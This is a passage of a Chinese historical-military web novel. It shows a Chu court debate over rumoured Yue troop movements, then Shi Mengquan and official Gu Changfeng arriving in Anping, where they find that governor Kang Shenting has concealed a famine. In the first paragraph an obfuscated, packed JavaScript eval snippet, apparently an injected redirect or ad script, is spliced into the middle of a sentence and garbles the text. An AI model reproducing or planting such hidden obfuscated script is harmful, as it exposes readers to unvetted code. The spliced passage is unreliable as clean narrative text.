太子开了金口,大臣们也不能有异议,只得赞同。这时冷千山就出列道:“启禀殿下,臣的探子方从樾国西京回来,有重要军情禀奏。” 这果然是要紧的事了。竣熙道:“将军请讲。” 冷千山即道:“樾国大军依然驻扎在西京东台大营,可能八月里再兴战事。” 此话一出,直把满朝文武都吓愣住了,只司马非道:“冷将军什么时候养起探子来了?别是凭空杜撰的吧?现在樾国正是青黄不接、民心动荡之时,樾国那庆澜帝虽然没什么用,但是樾国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“叫士兵都去治水,治好了叫樾寇来坐享其成么?”司马非一眼瞪了过去。 “话不能这样说。”程亦风忍不住道,“樾国出兵与否还只是传闻,即使出兵也要到八月。现在天江洪水即将吞没南方大片农田,那里是我国上下的衣食所依,如果南方被毁,西瑶说不定就乘机攻过天江来。那时,我们想撤退都没有地方撤了。” 司马非没想到自己一手提拔出来的程亦风竟然“临阵倒戈”,不由愣住。冷千山却找到了话茬儿:“撤退?程侍郎好像最擅长的就是撤退了。从前线能撤到依阕关,又能从依阕关撤回了大堰关——你是说将来樾寇来袭,就要撤退到南方吗?原来这就是你的妙计啊,太子殿下可听到了? “将军——”程亦风被这些“搅屎棍”弄得忍无可忍,终于爆发,“将军莫非忘记了,十五年前凉城为樾寇所攻,皇上就是率领众臣撤往了南方。当时程某人不才,在怡红院睡了个懒觉没赶上你们的队伍,这次要是再往南方撤退,程某人一定要跑在前头。” “你——”冷千山方要翻“越权祸国”的旧帐,竣熙稚气地打断了他们的争吵:“诸位大人不要争了。十五年前的往事是我楚国之耻,今日召集各位,便是要商议商议如何避免重蹈覆辙。诸位大人都有何高见?” “还有什么高见,只能打。”冷千山道,“拼到最后一兵一卒,也要打。” “不错,打。”其余几位将军纷纷附和。 “打?打猎么?”司马非虽然也巴不得能够一显身手,但是却不愿附和冷千山等人,更不愿让他们得了出兵的主动权,自己只落个“辅助”之位,因此不论如何都要找找茬儿。“打仗的事非同儿戏,究竟出击还是被动应战,总要先摸清楚敌人的动向再打算。”便问那张千总,“你久在樾国,惊雷将军是个什么样的人?” “是个可怕的人。”张千总想了想,“虽然很年轻,但却是庆澜帝跟前一等一的红人。庆澜帝没登基之前,玉旒云就跟他身边做侍卫,所以可以称得上是皇帝的心腹——而庆澜帝自己又没什么主见,恐怕玉旒云说什么,他就会做什么呢。玉旒云心胸狭窄,睚眦必报,所以樾国的朝廷里有半数的人恨,半数的人怕,但却没人敢跟其对着干。大家都避而远之,生怕得罪了惊雷将军,惹上杀身之祸。” “每一个人?”程亦风忍不住插口问道,“那么你方才说的顾长风是……” “顾长风是樾国有名的铁脖子。”张千总道,“绝不低头,也不怕砍头。自从这次得罪了惊雷将军后,他好像被罚闭门思过,于是他干脆就回南方老家去了。” “是这样啊……”程亦风想,这顾长风倒和臧天任有几分相似,可惜是樾国之臣,否则该结交结交。 “不过是皇帝的小舅子,就嚣张至斯——”司马非厌恶又不屑,“既然樾国皇帝对他言听计从,是否他调遣军队都无须圣旨?” “圣旨总还是要的。”张千总道,“将军这样一说,卑职倒突然想起一桩事来——这惊雷大将军玉旒云并非皇后的弟弟,而是皇后的妹妹。不知何故,她打小一直女扮男装,多年来,樾国上下都忘记了这件事,是最近庆澜帝要给她赐婚,才闹了出来。” “什么?”大臣中立刻炸开了锅,这个以一敌三,把耿近仁杀死在落雁谷的年轻将军竟然是个女人? “这还有天理么!”司马非怒道,“耿近仁堂堂楚国大将,居然败在一个女人的手里!” 而冷千山则冲着程亦风阴阴地道:“你居然被一个女人吓得落荒而逃,呵!” 程亦风自己也是大吃一惊,不过谁说女子就不如男儿呢?素未某面的大将军,随夫出征的崔抱月,以及……以及岁月越流逝,记忆就越清晰的那个不知名女子,当年她立在凉城的城楼上,比任何一个急于逃命的将军都镇定。 “这事你方才怎么没说?”竣熙示意众人安静,问张千总道,“这将军要成亲了,还会兴兵远征么?” “回禀殿下,”张千总道,“赐婚之事最早是樾国的十四皇弟翼王传出来的。据说他在酒楼吃酒,醉后大声嚷嚷说自己将娶惊雷将军为妻,周围的人先都不信,后来不防备玉旒云从旁边的雅室里走了出来,当众打了他两个耳光,大家这才知道至少赐婚之事是不假了,至于嫁给谁,想来那翼王爷是没有份的。” “好家伙!”董鹏枭骂道,“不管是嫁给谁,这小娘们儿该有个男人管教管教。她男人打她几顿板子,也就给我出口恶气了!”说罢,啐了一口,很是痛快的样子。 周围方才还愁眉不展的大臣们也都嘻嘻哈哈笑了起来,仿佛玉旒云顷刻间从骁勇善战的猛将变成了不值一提的黄脸婆。程亦风见状,不由得大摇其头。 张千总继续道:“玉旒云打了翼王之后,立刻就策马去了东台大营,几天几夜都没有回将军府。京里的人都猜测她是以重兵要挟庆澜帝,一旦庆澜帝逼她出嫁,她就起兵造反。” “果然是娘们儿的脾气。”众臣中有人说,“合该就着这大好的机会打过大青河去。” 可这并不像是惊雷将军的所为。程亦风心里想。 “那几日东台大营演兵不断,京城人心惶惶。后来樾国皇后亲自到大营里去,才终于劝动了妹妹回到将军府。从那天起到微臣离开西京止,玉旒云除了去东台大营巡视外,没有踏出过将军府半步,连朝会都不参加……” “那你怎么确信她要八月远征?”司马非问。 “她有一名亲信叫石梦泉,上个月被派去南方七郡。”张千总道,“卑职买通了他府上的下人,知道石梦泉是奉命去采办粮草的。卑职同在西京的,还有一位同伴王贵,曾经混进玉旒云的府邸。他说玉旒云的书房里摊着许多研究大青河的书籍,更有玉旒云手书的大青河八月水势札记。再加上顾长风之事,卑职推断,樾军极可能在八月渡河进犯。” 大青河八月水势札记!程亦风暗暗心惊。他虽然不懂打仗,但是这些日子来在兵部看了那许多兵书战策,纸上谈兵总还是会的——战场的胜负并不仅仅是一时兵力比拼和应变较量,天之阴阳、寒暑,地之远近、广狭,都是将领必须计算周详的。玉旒云缜密至斯,难怪落雁谷中楚军会一败涂地了……慢着,缜密?缜密如她,怎么会把军机秘要摊在桌上给人看? 疑念一生,他的心砰砰地迅速撞击胸膛:“王贵混进将军府是翼王事件之前,还是之后?” “是玉旒云从东台大营被皇后劝回家之后。”张千总道,“皇后说,玉旒云小时候爱看木偶戏,重金悬赏求京城擅作木偶戏者。王贵便是跟着戏班子混进去的——程大人,有何不妥吗?” “没有不妥。”程亦风道,“我再来问你,石梦泉离京去采办粮草又是什么时候的事?” “是玉旒云在东台大营发脾气的时候。石梦泉本来是跟去劝解的,但才三天就急匆匆回府,次日又急匆匆离京。卑职是在他离京的当天下午打探的消息。” 程亦风点了点头,转向竣熙道:“殿下,臣觉得这事蹊跷:玉旒云出走东台大营,人人都推测她要拥兵自立。方才张千总也说,她心胸狭窄,睚眦必报,这时她派出石梦泉采办粮草,应该是为了造反才对,怎么会是为了远征?玉旒云如果真是‘出走’,然后被姐姐劝回将军府,应该还是有一肚子的怨气,即使不打算造反了,怎么会立刻研究大青河水势,再为庆澜帝卖命?这样前后矛盾,微臣恐怕有诈。” “啊!”众人听他一言,恍然大悟。 竣熙道:“以程大人之见,玉旒云使诈,究竟是想造反,还是想远征?” 程亦风摇摇头:“微臣不是玉旒云肚子里的蛔虫,无法回答殿下。” “管那么多呢!”董鹏枭道,“她远征,咱们要打,她造反,咱们也可以打。都是打,不如就发二十万大军,先驻扎在大青河南岸,可退可进,见机行事。冷将军,你说是不是?” “不可以。”程亦风截断,“贸贸然开赴北方,却不知敌军的真正意图,万一落入圈套,后果不堪设想。” “大青河北岸是平原,一眼看过去能看几十里,她能埋伏士兵耍花样?”冷千山发话,“反倒是南岸咱自己这边,丘陵起伏。咱先把兵士埋伏好了,她要是敢过来,杀她个措手不及。” “她要是不过来呢?”程亦风冷笑。 “那我过去。”冷千山道。 “你过去——”司马非接口,“他娘的,平原只能看几十里,因为那后面是苍岭山脉,你怎知道玉旒云不埋伏在山里?到时候是你一船一船运兵运粮快,还是她冲出苍岭在平原上杀你快?” “当然是——”冷千山说不上来了,低声嘟囔。 “说来说去,程大人就是不想出兵而已,何必找出诸多借口。”董鹏枭道,“司马将军一向勇猛,怎么也沾染了书生脾气?” “出兵是出兵,送死是送死!”司马非并不受他激将。 程亦风的语气里则带上了愤怒:“既然要我代兵部尚书总管天下兵马,我不能让士兵白白牺牲!” “你——” 冷千山还要再争,司马非厉声喝住了:“用兵之事,自由兵部决定,咱们武京外官只能遵从。现在程大人代表兵部,听程大人的计议——程大人?” 程亦风一怔:计议?他算是什么“将才”?但是,如果这时不死撑着控制住局面,让冷千山等“搅屎棍”胡闹下去,国无宁日。他只有斟酌着,勉强道:“敌情。请张千总挑选能士再入西京,密切监视玉旒云的动静,同时也去樾国之南方七郡,打探石梦泉的行踪。为了防患于未然,大青河沿岸的堡垒要塞需要加强防守。” 他说得威严又镇定,众人都目瞪口呆——这哪里是平日朝堂上倒霉瞌冲的那个窝囊书生呢?不过程亦风自己却不觉得,生怕这威严装得不像,直到竣熙说:“就按程大人所说,明日下旨。”他才舒了一口气。 司马非笑了笑,在他耳边低声道:“把我们都派回原驻地,的确可以阻止冷千山他们几个继续在京城搞些小动作。不过大家同去大青河驻防,难保他们不玩花样。不如待我回到了平崖,探听清楚玉旒云的虚实,请你帮我求一道出兵圣旨——千万不要让冷千山他们抢了先。” 程亦风愕了愕,想起当初司马非一定要让他进兵部,就是想利用他有发兵之权,而司马非有领兵之实,可以把握全国兵马。他不想为党争效力。他也不要司马非再以为他会为党争出力。如此一想,又向竣熙一礼道:“殿下,臣想那圣旨中还要多加一条——诸位在大青河要塞驻防的将军,只准驻守,不得渡河。臣不想任何人挑衅樾军,造成无谓的争斗。” “好。”竣熙听程亦风方才的一番话,已经对他佩服得五体投地,凡他有提议,怎会否决。 司马非的脸涨成了猪肺的颜色。冷千山虽然也没捞到好处,却轻声笑道:“司马将军挖空心思想扶植一位军神,谁料竟是个主和派?哈哈!” “哼!”司马非气得一甩袖子。 “程大人,你看下面我们该议什么?”竣熙简直是以程亦风马首是瞻。 “啊……”程亦风有些惶恐,但是看到臧天任不时给自己递眼色,立刻意识道:这是臧天任所说的,自己为民请命的好时机!于是略一梳理思路道:“方才听工部古大人说天江泛滥,需要抢修堤坝。臣想,这是十分紧急的,应该先处理。” “正是。”竣熙道,“古大人,你来说……” “是。” 随着古成君遵旨出列讲述天江灾情,朝会终于在长久以来第一次离开了无谓的党争。 5. 第 5 章 石梦泉立马在南方七郡的首府安平城外,申时已过城门关闭,他叫小校上前通报,只等里面来开门。顾长风的一辆青骡小车安静又风尘仆仆地靠在一边,帘儿半掀——顾长风就是一路上看着田地河渠看到安平来的。 未几小校满面怒容地回来了,道:“将军,那城门护军忒也无礼,说是时辰过了,便天王老子来了他也不开。小的把玉将军的名号搬出来也无用,请将军定夺。” 石梦泉呆了呆,心道:也确实误了时辰,军中自有军中的规矩,总不好强人所难。当下打算就在城外先过一夜。 然而顾长风听了,却冷笑道:“你提玉旒云的名头自然是白费,她巴不得南方七郡沦为戈壁荒滩,人家凭什么要给她开门?” 这些兵士都是玉旒云在落雁谷同生共死的部下,小校一路上不知听了顾长风多少埋怨玉旒云的言论,早就心里激愤了,忍不住脖子一梗要争辩,但石梦泉将他喝住:顾长风是玉旒云相中的人才,再难听的话也不可反驳。“就先扎营吧。”他说。 士兵本来风餐露宿惯了的,城外扎营并无所谓。只是这些士兵乃是按照玉旒云的计划特别挑选的,籍贯多在南方七郡,有人还是安平城本地人氏,到了家门口却进不了门,心中难免有些窝火,一边安营扎寨,一边嘟囔抱怨,手脚就慢了些,大约到了酉时三刻才全数安置妥当。石梦泉四下里巡视探问,嘱咐人好生安顿顾长风,这时就听见一阵急促的马蹄声响,见一辆双驾马车正从官道上朝安平城驶来。 又是一个进不了城的呀。士兵们耷拉着疲惫的眼皮,并不注意。然那马车到了近前,赶车人“吁”地喝了停,就直冲城楼上喊话道:“不要命了么,这时候就关了城门!还不快来打开!” 好嚣张!石梦泉心中暗道,且看后面有什么戏唱。 说也古怪,那“天王老子”都不开门的护军听了这一声喝居然转瞬就陪着笑脸出现在城楼上:“开,开,立刻就开!”接着,轰隆隆的巨响,城门就打开了。 真是岂有此理!士兵中响起嗡嗡的议论。石梦泉也快步地走上前去,拦住那又想关门的护军,探问究竟。 那护军一脸傲然:“是愉郡主的车驾,早先说了今日一定回城的,就是三更半夜也要给她开。你们算是什么东西了?” “放肆!”发话的是军中的一员副将,名叫罗满,他也是落雁谷之战中的有功之人,勇猛无比。“有你这样和将军说话的么?” 那护军嘿嘿一笑:“你们是外军,我是内军。你们归你们的将军元帅管,老子却只认咱们总督大人的命令,你奈老子何?” 原来是存心寻衅的!石梦泉心中燃起怒火,难怪临来之时玉旒云叮嘱说这些地方官员十分棘手。他盯着护军嘲弄的眼睛,忽地反手将罗满腰间配刀抽了出来,“夺”,不偏不倚就钉在护军的脖子边上,刀锋没入门板中,直至刀柄。 护军一呆,连“妈呀”也没叫出口,就顺着门板软了下去。 其余的护军一看,竟吃了这样的亏,哪里肯就此罢休,纷纷端着刀围了上来:“怎么,要造反么?这可是安平,不是后宫,哈哈,要回去找皇后娘娘告状,可还远着哪!” 石梦泉不由握紧了拳头:是谁在四处散布针对玉旒云的谣言?他不能允许! “等一等!”城里突然有个声音说道——正是那愉郡主的车驾调转了头来,“这些是玉旒云的部下么?不是冒充的吧?怎么玉旒云没有来?” 石梦泉皱了皱眉头:这愉郡主说话的语气很不友善。“回郡主的话,末将石梦泉,护送户部顾侍郎前来南方七郡治蝗,所奉并非玉将军军令。” “哦,是这样么?”车上的愉郡主笑了,“玉旒云令人讨厌,既然你不是奉了她的命令,就让你进城吧。”说罢,也不顾石梦泉如何的既惊且怒,径自吩咐车马回转城内去了。护军爆发出一阵哄笑,两边闪开。 罗满轻声道:“将军,你看这……” 石梦泉沉默片刻,脑海里响起玉旒云的声音:“沉住气,谁敢为难咱们的,将来我要他十倍偿还!”是那样阴沉的,且满是不屑的神气,树敌如林,却毫无所谓。这是玉旒云,每一项她交代的任务,都要尽心完成;每一个与她为敌的人,他也要从暗中揪出。 不过是一个小小的安平城,一个傲慢的愉郡主,石梦泉心想,便是刀山火海,夜叉罗刹,又有何妨?“先进城,”他命令,“去找南方七郡的总督问个明白。” 石梦泉带了五百精锐进入安平城,行至总督府前广场时,他即要罗满率领众人原地等候,他自己上前叩门求见现任总督康申亭。 门子的态度比他想象的要好得多,但所得的回答却是康申亭略感风寒不便相见,一切事务都由府中师爷处置。 等了一会,便有个精瘦的中年儒生走了出来,自称梁冉,即是此间师爷,言道总督大人早知诸人行程,在城西预备下行馆,且说安平乃是太祖皇帝当年率众亲耕之处,旧营尚存,可安排供军士休息,因带了一众人朝城西去。 到了地头,果然有一座规模相当宏伟的馆舍,自暮色里望去,黑沉沉的屋顶绵延如山脉。梁冉说旧营即在此行馆之后,而他则要回总督府处理事务了。石梦泉也便没有阻拦,率众步入行馆大门。 可是踏进门槛去,他即傻了眼:内院杂草丛生,处处破砖残瓦,根本无法居住。再来到馆后所谓“旧营”一看,除了断壁颓垣之外,只有一些草棚而已,虽然天气晴朗无雨,但在此扎营和露宿城外全无分别。 罗满见状不由火了:“好个康申亭,吃了熊心豹子胆么!将军,让属下去他的总督府里把他揪出来问个明白!” 石梦泉不及回答,顾长风却从他的小骡车里走下来,四下里一望,笑道:“好,好,至少有个落脚的地方。石将军,顾某困了,先去睡一觉,明日一早再来商议治蝗方略。”说罢一拱手,自背着他那唯一的包袱进行馆去了。 “咦,他这铁脖子怎么反而咽得下这口气?”罗满奇怪道,“就算他和玉将军不对,喜欢看人找咱们的麻烦,这不也作践到他头上了么?” 石梦泉皱着眉头,顾长风这个人实在太叫人难以捉摸了,打从自己亲自登门表示愿意治蝗,到点齐人马离开京城,再到进入安平城,一路上除了“治蝗”,他再无第二个话题,偶尔有对着田地水渠叹息的,石梦泉不知如何开口询问,他自然也就不说出心中所忧——但毫无疑问的,他心里除了百姓,仿佛再无其他。就是如此坦荡,才更叫人无法揣摩。 这是玉旒云也钦佩的人。 石梦泉快步追了上去:“顾大人,这里连床也没有一张,还是让末将寻间客栈给您休息吧。” “用不着。”顾长风脚步不停,“有屋顶就可以了。” “那——至少也让末将先打扫打扫……” “不必。”顾长风随便推开一扇房门,见地上散落着几只破麻袋,就拣了起来到角落里铺着。“车马劳顿,将军也不必多麻烦了,休息吧。”他将包袱枕在头下,竟真是要睡觉的样子,转脸朝内,又加上一句:“烦劳把门关上,你们要找那总督的麻烦,不要殃及池鱼。” 石梦泉一呆:看来顾长风不仅是能忍,而且根本不想和地方官起冲突。这究竟是为了什么? 他想问,可顾长风根本就无意同他说话,只梦呓般地喃喃道:“君子行事坦荡荡,不为他人所左右……武夫,唉,一群武夫!”以下,再不出一言。 石梦泉的心里却如电光火石的一闪:不错,倘若这时去寻人家的麻烦,也许就正中康申亭的下怀,今后势必步步被动。此来的目的既是治蝗,如今又已经有了安身之所,不如就依照计划进行下去,且看那康申亭到底玩的什么花样! 如此一想,他即朝顾长风的背影行了个礼,退出房来。 士兵们正等着他一声令下好杀去总督府出气,纷纷围住了他,七嘴八舌地说个不休——此一群人敬重玉旒云机智骁勇,更喜爱石梦泉恳切平易,私底下同他相交都好像兄弟一般,这时激愤了,比手划脚、粗言秽语无所不有。石梦泉连连摆手:“轻一些,莫要打搅顾大人休息。” 士兵们道:“这顾大人简直好像个缩头乌龟,康申亭连板凳都不肯给他一张,他倒还咽得下这口气。石将军,咱们可不是酸书生,咱们要让康申亭看看厉害。” 石梦泉清楚部下的脾气,笑道:“不错。就和打仗一样,人家射一箭来,咱们就还一箭过去。康申亭要叫咱们过不舒坦,咱们偏偏要过得舒舒服服给他看——趁着现在时辰还不算太晚,咱们且分头去采购什物来,桌椅,床铺,帘笼……这些东西咱们虽可将就,但要把顾大人安置妥当。此外这些窗户的窗纸也都破烂了,无论如何,要把门面修一修。” 士兵听他这么一说,倒也不无道理,可还是有些不平。石梦泉便又道:“即便要找康申亭算帐,也要等大家都养足了精神。咱们把这里的内务整顿好了,美美地睡上一觉,再好好地吃上一顿,然后把康申亭请到咱们的地头上来,先气他一气,再狠狠整治。” 听了此言,士兵们方觉此计甚好,当下由罗满分派了任务,一部分人出外采办物资,另一部分人跟着石梦泉在府内打扫,约莫有一个时辰的光景,残砖破瓦都集中至院后,杂草也消除干净,恰那负责买窗纸的回来了,众人齐动手,不多时,房舍即显得焕然一新。又过了没多久,有人搬了些粗糙的家具的回来,只有零星的几样,全数布置在一间较为幽静的房中——便是石梦泉替顾长风预备的卧室了。 然时辰已晚,不便将人唤醒。石梦泉只传令下去,大家先行休息,一切事务明日再议。 经过长途跋涉,又有这一番折腾,众人的确都累了,连同石梦泉在内,还来不及思考下一步的方略,已然进入了梦乡。一宿无话。 次日清早,石梦泉依着多年的习惯在寅卯之交便起了身,南方的空气较北方湿润,他不由精神大好,活动了筋骨在院中演练枪法。士兵们也陆续起来,打水洒扫,抱柴生火,各自忙碌。不过正当起火做饭时,大家才突然意识到粮草尽在城外大营中。 一时报到了石梦泉的面前,他哑然失笑:怎么如此疏忽呢?然而昨夜进城之时也并没有料到会是这般情形!换成玉旒云,可要缜密得多了。 “此时城门还未开启,就看看城中哪家客栈饭庄有饭菜的,每处买些干粮回来吧。”他吩咐,“切不可惊扰居民。”想了想,又补充:“左右我们来时也只带了行军的口粮,要在这里长住,便要采办粮食,你们再分一队人去粮铺里打听,看看最多能买多少。” 士兵得令,分头出门执行,石梦泉就带领余人继续收拾院落,并整顿院后那所太祖亲耕的旧营。没得多少时辰,顾长风走出了房门,四下里张望打量着前日内务整肃的成绩,面上露出浅浅的笑容。石梦泉见了,便上来问好,请他搬进特别预备的房间中去。 “多谢石将军。”顾长风淡淡地说了一句,仿佛一切都是意料之中的。 石梦泉自然不会与他计较,只虚心地请教治蝗计划。 顾长风道:“南方七郡虽然在朝廷看来是同一区划,然而地形气候差别甚大,每一地都各有其优劣,不可笼统而论。非得亲到田间考察,顾某不敢妄言。” 石梦泉点头称是,又问:“顾大人的家乡在榆东郡,想来顾大人是很熟悉的,敢问那里要如何灭蝗?” 顾长风捻须:“榆东郡在大青河飞龙峡,古来即以水利发达而著称,沟渠水坝四通八达,倘若要引水淹蝗是再便当不过的了。只是,此刻庄稼已在地中,不可漫灌,因而只能发动人力消灭蝗蝻,待到冬季方才可以引水消灭虫卵。到那时,正巧大青河水势回落,引水入田也不必担心洪涝之患。” 石梦泉记下了,再问:“安平此地属晋南郡,我们一路从晋北郡走来,顾大人曾说,晋北郡大多荒地,可以火烧,那么晋南郡应当如何?” 顾长风微微颔首:“晋南的地形原是丘陵,年来树木毁坏,沙化严重,千沟万壑,支离破碎。若以火,大约只能烧得一沟却越不过山梁去,若以水,实在离大青河又有些远了,若纯以人力,只怕累死无数,所以顾某想,未若用鸡——” 石梦泉一时未听明白:“用什么?” 顾长风重复道:“用鸡。使家家户户把所养的鸡放到田间地头,使它们尽吃蝗蝻虫卵,一来可灭虫,二来又省了喂鸡的米糠——此米糠若用来养猪,那就一举三得了。” 石梦泉愕然:“这……这行得通么?” 顾长风笑道:“如何不可?石将军是打仗的人,岂不知南方有些蛮荒小国驯养大象来与敌作战,又有些恶毒的将领,想出一个‘毒蛇阵’,逼得敌人不能前进。非物不可为我所用,我不知物性而已。” 石梦泉微红了脸,对顾长风的敬佩又多了几分,对玉旒云的看人之准也再次暗暗赞叹:只可惜顾长风不知那识人的伯乐原是玉旒云。 两人又絮絮地谈了一刻,天已大白了,腹中不免都饥饿起来。正巧看派出去采买粮食的士兵也回来了,石梦泉即立刻命他们过来。 可士兵们的脸上都是愤怒沮丧的神气,两手空空。 “客栈根本无人投宿,饭庄也不开门。”他们回报,“说是此地连年饥荒,粮铺里根本没有粮食卖,都靠官粮救济。” “有这种事?”石梦泉未吃惊,顾长风先叫了出声,“为何户部从来就没有记录?朝廷五年来也不曾接到南方七郡饥荒的奏折。” “都是那康申亭拦住了不让报。”有个士兵的话语里带着哭腔,“小人就是安平本地人,方才想回家找我娘讨些粮食来,谁料我娘说,根本就没有多余的吃食。每年粮食一收上来,就全数被收购卖为官粮,乡下地方每户按人头留下口粮,城里就按人头买。康申亭为了虚报业绩,饿死百姓无数!” “岂有此理!”顾长风拍案而起,“难怪南方七郡年年遭灾还年年报丰收,姓康的这个狗官,着实可恶!石将军,咱们这就去找他!” 石梦泉自然也是义愤填膺的,只不过看到昨天能够一忍再忍的顾长风此刻激动到了如此地步,他不由讶然,但更多是钦敬:这一个人,果然心里只装着天下苍生! 他也站起了身来:“这就去见康申亭。”说罢,带领众人走出府外。 可到了门前,却正见有两亭蓝布小轿子侯着,昨天那总督府的师爷梁冉正笑嘻嘻一边站立。见到众人,即迎了上来,道:“石将军,顾大人,昨日多有怠慢,我家大人的风寒已经好了,在总督府略备薄酒,要替两位大人接风。” 石梦泉皱起眉头,顾长风已冷笑一声,道:“他的辖地民不聊生,倒还有心思喝酒?这个父母官可真是做得好啊!”籍贯在本地的士兵见状,也忍不住都骂了起来。 梁冉却一点也不生气,仿佛没听见,只亲自揭了轿帘儿,道:“顾大人请,石将军请。” 顾长风哼了一声:“不必。只恐怕这几位抬轿子的兄弟也被克扣了口粮,吃了上顿没下顿。顾某要是还踩在他们肩上作威作福,岂不是和康申亭成了一路货色?康申亭我是要见的,我走着去!” 梁冉不动声色:“石将军请——” 石梦泉除了激愤之外,本来倒无所谓坐轿,见了顾长风的态度,倒不可妄为了,也摇摇头:“不必,石某久在军中,不惯坐轿,也和顾大人一起走吧。” 梁冉道:“如此甚好。”即前面引路。 石梦泉便吩咐罗满带人出城运些粮食进来解燃眉之急。罗满担忧地道:“将军去了总督府,不怕人家是鸿门宴么?还是末将带几个兵士随同……” 石梦泉道:“不必。”他要会会这个康申亭——敢欺瞒朝廷,究竟是什么三头六臂的角色! 一行人来到了总督府,那房舍的规模虽不及太祖亲耕的旧营,而设计却万分精巧,装修也非常考究,除了前面有处大堂为日常办公之地外,后面处处是景,完全是南方园林的建筑风格,根本就不像是官邸,而像一处行宫。 那开宴会的花厅,翠竹掩映之中,自有鸟语啁啾,一派世外桃源之感。及进了门,见座中客人也一例宽袍广袖,没有一个穿着官服的,根本看不出何人是何人。 石梦泉正是纳闷,便见一个三十来岁相貌堂堂的白面男子站了起来,自我介绍说,他就是康申亭。 顾长风的面上已经露出了轻蔑的神气。康申亭仿佛不觉,接着介绍座中其他人,乃是安平附近几个小城的县令,听闻来了京里的官员,奉为钦差,特来一睹风采。又说各郡的巡抚他也叫人通知了,只是一时还赶不及到安平来。 石梦泉素来不喜交际应酬,随便敷衍着见了礼。顾长风却是满面冷傲,对每一个人都嗤笑三声,落座后,把酒杯一推,即问:“康大人,不是饥荒么,你的薄酒还挺丰盛!” 康申亭笑笑:“再有饥荒,也不能慢待了二位。怎么说,石将军所率领的也是玉将军——呵呵,现在是玉公爵了——率领的是她的部下,那都是为国立下赫赫战功的,下官等就算勒紧了裤腰带,也要把二位的饭给管上。” “勒紧的哪里是你们的裤腰带,是老百姓的裤腰带吧——”顾长风自在一边冷笑,“你们要逼得人把裤腰带都勒到脖子上去了,这酒,我可不敢喝。” 康申亭堂堂总督,乃是正二品大官,顾长风只是从二品。按理,康申亭完全没必要跟他客气。但这时还是和气地说道:“顾大人说的哪里话?今日的酒食的确都是康某和这几位县令们自家预备的。比如这酒,便是刘县令的家酿,那罗汉豆则是陈县令从他家的菜园里摘来的。” “哼!”顾长风扫了一眼盘子里绿油油的豆子,“原来各位大人都效法太祖皇帝亲耕,不知每年上缴朝廷的官粮中有多少是各位大人自家出产?” “回顾大人,”这是那种罗汉豆的陈县令,“下官只耕五亩地,所出悉数上缴。” 那酿酒的刘县令跟着道:“下官有两个儿子在家,耕得多些,共计十二亩,所出也悉数上缴。” “混帐!”顾长风喝住准备接话的其他官员们,“你们好好的朝廷俸禄不食,百姓疾苦不问,都种起地来,这是什么个道理?水灾就是水灾,蝗灾就是蝗灾,粮食歉收就是歉收。你们以实上报,朝廷岂有不容之理?康大人如此急于邀功,竟置百姓死活于不顾,岂不知瞒报税收也是欺君之罪?” 几位县令都不响,把眼看着康申亭。康申亭一副好整以暇的样子,微微把头一垂,道:“康某哪里想邀功?下官是……”顿了顿,抬起了头来,换了满面的愁苦:“朝廷东征西讨,行军的全部粮草所需都落在我南方七郡的头上,下官们长了一百个脑袋也不敢不凑出军饷来,不得已,才出此下策,实在……” 仿佛说不下去了。石梦泉心里又惊又怒:不错,长久的征战,他们的确征调了不少粮草,然而这可恶的康申亭,偏偏要把这事提出来,顾长风本就厌恶“武夫”,又跟玉旒云不和,这样一来,误会就更深了。 果然,顾长风愤愤地一拍桌子,骂了声“武夫”,但接下来,矛头还依然指向康申亭:“你说朝廷征战调集粮草,但是圣上大举兴兵只是去年年底的事,算到今日才不过短短半年。而你强行征收百姓余粮早已不止这些时间,这之前所征收的,又是为何?” “是为赈灾。”康申亭理直气壮,“顾大人方才不是也说了么,水灾就是水灾,蝗灾就是蝗灾,南方七郡幅员辽阔,但地势气候复杂,每年各地都有不同的灾异。康某只得从受灾较轻的郡县征调粮食到受灾严重的地区去。大人若不信,可以问问在座的几位,陈县令的河洛县前年就曾得到榆东郡征调来的救灾粮。” 既然敢叫人问,此事若非千真万确,就是先前商量好的谎言,顾长风不屑理会,只道:“一派胡言!你南方七郡的含元仓、存嘉仓、蓄瑞仓,各有粮窖数百座,存粮皆在百万石以上。顾某七年前母忧返家,还曾随同上一任的林大人巡查过粮仓,其储备,可供七郡百姓饱食十年以上,即使连年灾荒,也决无有调粮赈济的道理。你作何解释?” 康申亭几乎不可察觉地一笑,冷然:“七年前还是先仁宗皇帝的治上,顾大人岂不知他老人家有好大喜功的毛病?康某这样斗胆的说出大不敬的话来,还请大人见谅——上有所好,下有所为,含元、存嘉、蓄瑞三仓其实早已空了,前任林大人为了面上好看,把一个一个米囤子下面都垫空了,给你看的,不过上面冒的一个尖儿。他离任后,我发觉此事,上奏朝廷,但是恰逢仁宗皇帝病重,康某的折子因而石沉大海。两年折腾下来,三仓所储粮食早就分发殆尽了。” 这是一套几乎天衣无缝的说辞,顾长风一时竟怔住了,石梦泉向来不知行军以外的事,也不晓得要如何应对。满座其他的官员适时唏嘘起来,看情形,竟不像是在作假。 半晌,顾长风道:“那么康大人今年又打算如何应对?再要征尽百姓口粮,恐怕官逼民反!” 康申亭道:“康某也为此事头疼不已,但是既然石将军和顾大人来到,那便是朝廷的钦差,一切但凭二位做主。” 这可真是打蛇随棍上!石梦泉心里有些恼火,这康申亭把责任推得一干二净,自居功臣不说,还要把麻烦全甩到顾长风和自己的头上! 他正烦闷,外面有几个丫鬟来添酒加菜了,都穿着一般儿的翠绿色衣裳,身段轻盈,是南地佳丽。其中那个走到石梦泉面前的尤其俏丽妩媚,嘴角一颗小小的美人痣,点缀得一张原本万分精致的脸灵动俏皮起来。她提着酒壶到石梦泉的跟前跪下,就这么一矮身,偏偏与别不同,身上的环佩没有丝毫的响动,非训练有素不能得。石梦泉不由惊了惊:这哪里像是总督府的丫鬟,倒像是玉朝雾皇后身边那几个宫女的气度了。心里一动,便多看了这丫鬟一眼。丫鬟发觉,朝他一笑,去了。 石梦泉心头一震,觉得这一笑颇有些古怪,好像有些嘲弄的意味。心下好是奇怪,等到康申亭又开始大叹苦经,他就告了更衣,出得花厅来。 他是会家子,远远地跟着那一队丫鬟,见余人都往厨房方向去了,偏偏那个嘴角有痣的在岔路口转到了另一方向。他悄然跟上,发觉那边原是花园,丫鬟分花拂柳,不久就钻进一座假山之中。 